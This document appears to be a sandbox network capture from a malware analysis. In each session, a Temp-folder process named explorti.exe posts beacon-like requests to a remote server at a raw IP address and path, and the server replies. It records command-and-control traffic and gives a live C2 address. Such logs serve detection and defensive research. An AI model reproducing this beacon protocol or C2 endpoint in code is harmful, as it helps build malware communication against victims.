Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49830	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:48.667732000 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:49.366573095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49831	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:49.478790998 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:50.165919065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49832	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:50.174340963 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:50.877676964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49833	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:50.996562958 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:51.710361004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49834	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:51.725869894 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:52.480859041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49835	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:52.603709936 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:53.306936979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49836	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:53.318799019 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:54.036562920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49837	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:54.152987003 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:54.849701881 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49838	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:54.858175039 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:55.587086916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49839	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:55.696563959 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:56.391885042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49840	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:56.400624037 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:57.125864983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49841	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:57.249188900 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:57.939472914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49842	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:57.948044062 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:27:58.678868055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49843	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:58.794533968 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:27:59.498863935 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:27:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49844	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:27:59.507762909 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:00.299101114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49845	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:00.416040897 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:01.105354071 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49846	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:01.125087023 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:01.836419106 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49847	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:02.049839973 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:02.745980024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49848	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:02.760689974 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:03.484061003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49849	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:03.604010105 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:04.313473940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49850	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:04.324059010 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49851	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:04.452100039 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 15:28:05.147114992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49852	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 15:28:05.156285048 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 30 32 42 37 33 42 34 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB02B73B45082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 2, 2024 15:28:05.864214897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 13:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49853	77.91.77.82	80	8172	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
